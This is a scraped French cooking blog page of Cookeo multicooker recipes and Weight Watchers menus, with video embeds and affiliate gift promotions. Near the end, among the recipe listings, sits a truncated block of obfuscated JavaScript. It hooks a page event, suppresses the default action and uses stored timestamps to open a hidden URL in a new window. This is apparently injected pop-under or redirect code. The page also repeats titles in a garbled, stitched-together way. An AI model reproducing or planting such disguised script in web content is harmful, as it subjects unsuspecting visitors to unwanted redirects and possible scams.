Fiche cookeo poulet cola weight watchers

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Fiche cookeo poulet cola weight watchers

4 PP 5 SP 319 calories

//
[youtube https://www.youtube.com/watch?v=AfnVegz32TY]

Gâteau chocolat cookeo (Recette 360)

Voici une recette de notre site partenaire recette 360 . Un gâteau chocolat cookeo .

Gâteau au chocolat avec cookeo

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Gâteau Nutella cookeo : une idée dessert

Avez -vous déjà réalisé ce gâteau ? Pour ma part je n’ai pas encore eu le temps . Qui veut bien tester cette recette de gâteau Nutella cookeo ?

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Vidéo cookeo porc au cidre weight watchers

Vidéo cookeo porc au cidre weight watchers.Laissez vous tenter
[youtube https://www.youtube.com/watch?v=hDFxuQtLjrE]
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Pommes de terre rissolées au cookeo ma version

Vous trouverez dans cet article ma version des pommes rissolées au cookeo. Je dois avouer que j’avais trouvé des recettes sur les pommes de terre sautées ou rissolées que j’avais tentées mais j’avoue que j’ai subi de nombreux échecs. Alors j’ai tenté une nouvelle formule en utilisant uniquement la fonction dorer du cookeo. Voici donc les ingrédients.

Ingrédients

1 kilo de pommes de terre coupées en morceaux ou 1 kg de pommes de terre en morceaux congelées

Huile

Préparation

Mode dorer

Mettez de l’huile dans la cuve et faites dorer vos pommes de terre pendant 10 bonnes minutes. Si les pommes de terre attachent au fond de la cuve rajoutez un peu d’huile au fur et à mesure.

Salez et poivrez selon votre convenance et servez chaud.

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Soupe de poissons Recette cookeo

Ingrédients pour 4 personnes

250 g de dés de cabillaud

250 g de dés de lotte ou 500 g de poissons blancs

200 g de poireaux

2 oignons coupés en morceaux

Huile d’olive

2 tomates coupées en morceaux

1 l d’eau

2 cubes de bouillon de bœuf

1 cuillère à café de thym

1 cuillère à café de céleri

Mélange 5 baies

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les oignons puis les poireaux .

Ajoutez ensuite les tomates ,la cuillère à café d’ail, de thym,de céleri .

Saupoudrez de mélange 5 baies.

Versez l’eau avec les cube de bouillon de bœuf émietttés.

Ajoutez le poisson .

Cuisson rapide ou sous pression

Programmez 12 mn préparation .

Mixez l’ensemble et servez chaud

sport-et-regime.com
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Veau marengo cookeo weight watchers

Veau marengo cookeo weight watchers 4PP 5 SP

Ingrédients pour 4 personnes

1 oignon

1 échalote

2 carottes (ou +)

1 Cuillère à café de margarine à 60 %

320 gr veau en morceaux

1 Cuillère à café de fond de veau

200 ml de vin blanc sec

200 ml d’eau

1 bouquet garni

1 Cuillère à soupe de maïzena

3 Cuillères à soupe de concentré de tomate

1 boîte de champignons de Paris (400 gr)

1 cuillère à café de persil haché

Sel, poivre

Préparation :

Mode dorer

Déposez la margarine dans la cuve et faites revenir les morceaux d’échalote d’oignon et de viande .

Ajoutez ensuite les champignons de Paris , les carottes que vous avez coupées en rondelles et le bouquet garni.

Saupoudrez de persil haché .

Versez ensuite le vin blanc ,l’eau et une cuillère à café de fond de veau .Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 18 mn .

Quand la cuisson est terminée repassez en mode dorer puis ajoutez le concentré de tomates et la cuillère à soupe de maïzena pour faire épaissir la sauce .

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Cuisson spaghettis cookeo : la vidéo

cuisson-spaghettis-cookeo

Cuisson spaghettis cookeo : la vidéo

[youtube https://www.youtube.com/watch?v=BZaf_ZbvaZA]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

//
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50 recettes cookeo weight watchers le PDF gratuit

Bonjour tout le monde le PDF des 40 recettes cookeo weight watchers s’enrichit de 10 nouvelles recettes pour devenir donc 50 recettes cookeo weight watchers .

Je vous laisse les découvrir en CLIQUANT ICI OU SUR L’IMAGE

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Menu équilibré cookeo JOUR 18

Et c’est parti pour une troisième semaine de menus cookeo équilibrés .Nous en sommes au 18 è jour .

Pour accéder aux recettes cookeo (en rouge) et obtenir le descriptif il vous suffit de cliquer sur le titre de la recette ou sur l’image de la recette .

NB

Les recettes sont prévues pour 4 personnes. Les recettes en rouge sont des recettes réalisées au cookeo .

Une portion de pain = 50 g. Une portion de fromage = 30 g. Sans précision, fruit et yaourt = 1 par repas.

DEJEUNER

Salade haricots blancs

Escalope moutarde cookeo

Frites

Crème chocolat

Pain

DINER

Salade de concombre

Risotto menthe citron cookeo

Fromage

Brugnon

Pain

DEJEUNER

Haricots blancs salade 200 calories

Ingrédients pour 4 personnes

1 grosse boîte de haricots blancs/ /1 cuillère à café de moutarde/3 cuillères à soupe d’huile d’olive/1cuillère à soupe de vinaigre/sel/poivre/2 tomates

Préparation

Egouttez et lavez les haricots blancs et déposez-les dans un saladier. Lavez et coupez les tomates, Ajoutez les dans le saladier.

Préparez une sauce vinaigrette avec 1 cuillère à café de moutarde, 3 cuillères à soupe d’huile d’olive, 1cuillère à soupe de vinaigre, du sel, du poivre, 1 cuillère à café de paprika. Versez dans le saladier et mélangez . Placez au frigo pour servir frais

Escalopes à la moutarde 210 calories

Frites 312 calories

Ingrédients pour 4 personnes :

Frites (surgelé) : 400 g

Préparation :

Sortir les frites du congélateur et suivre les indications inscrites sur l’emballage.

DINER

Salade de concombre 200 calories

Ingrédients

1 concombre/sel/poivre/jus de citron 200 ml /4 cuillères à soupe de crème fraiche allégée

Préparation

Epluchez et coupez le concombre en rondelles à l’aide d’une mandoline. Préparez votre sauce crème fraîche avec le jus de citron, la crème fraiche, le sel et le poivre.

Risotto menthe citron 170calories

risotto-menthe-citron-cookeo

Gnocchis tomate Recette cookeo

Ingrédients pour 5 personnes

750 g de gnocchis

1 cube de bouillon de bœuf

1 boite de tomates concassées

2 cuillères à soupe de crème fraîche

Sel

Poivre

300 ml d’eau

Préparation

Ajoutez dans la cuve les gnocchis, les tomates concassées.

Salez et poivrez selon votre convenance.

Versez 300 ml d’eau avec le cube de bouillon de bœuf émietté .

Cuisson rapide ou sous pression

Programmez une minute .

Quand la cuisson est terminée ajoutez les 2 cuillères à soupe de crème fraîche . Servez chaud .

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Cookeo découvrez la fonction différée

fonction-differe

[youtube https://www.youtube.com/watch?v=Ti7kHgbNgt8?feature=oembed&w=847&h=476]

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Cookeo découvrez la fonction différée

//

Idées cadeaux clés USB cookeo

Idées cadeaux clés USB cookeo
Clé USB de 25 recettes Tradition pour charger des recettes supplémentaires sur votre multicuiseur Cookeo USB CE7021
5 entrées : crème de brocolis, crème Dubarry, endives braisées sauce jambon…
17 plats : carbonade, choucroute, coq au vin rouge…
3 desserts : Compote de pommes bretonne, île flottante, poires Belle-Hélène

25 recettes tradition : – 7 entrées : Gaspacho aux crevettes • Terrine de poisson blanc au safran • Soupe tomate et citronnelle … – 13 plats : Encornets à la méditerranéenne • Filet de lingue sauce aux coques • Hamburger végétarien • Saint-Jacques sauce au corail… – 5 desserts : Crème au lait d’amande et miel • Fraises en « chantilly » aux pommes • P..

CLIQUEZ SUR LES IMAGES POUR ATTEINDRE LES PRODUITS

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Idée cadeau pour Noël : Livre cuisiner au Robot cuiseur (cookeo)

En manque d’idées pour un cadeau alors pas d’hésitation offrez ce livre de recettes qui est sorti récemment .

140 recettes gourmandes pour vous simplifier le quotidien. Vous manquez de temps, mais ne voulez pas manger de plats préparés ? Sortez votre robot cuiseur cookeo ! Classiques simplifiés, recettes d’ailleurs, plats végétariens, recettes vapeur santé et desserts… Préparez vos ingrédients, sélectionnez le bon mode de cuisson et… c’est tout. Plus besoin de rester en cuisine, votre robot surveille la cuisson !

Pour plus de détails CLIQUEZ ICI OU SUR L’IMAGE
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Fiche cookeo poulet cola weight watchers

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Pommes de terre rissolées au cookeo ma version

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Soupe de poissons Recette cookeo

Veau marengo cookeo weight watchers

Veau marengo cookeo weight watchers 4PP 5 SP

Cuisson spaghettis cookeo : la vidéo

Cuisson spaghettis cookeo : la vidéo

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Menu équilibré cookeo JOUR 18

Menu équilibré cookeo JOUR 18

Salade de concombre 200 calories

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Gnocchis tomate Recette cookeo

Cookeo découvrez la fonction différée

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Idées cadeaux clés USB cookeo

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Fiche cookeo poulet cola weight watchers

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[youtube https://www.youtube.com/watch?v=AfnVegz32TY]

Vidéo cookeo porc au cidre weight watchers.Laissez vous tenter
[youtube https://www.youtube.com/watch?v=hDFxuQtLjrE]
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Cookeo découvrez la fonction différée

//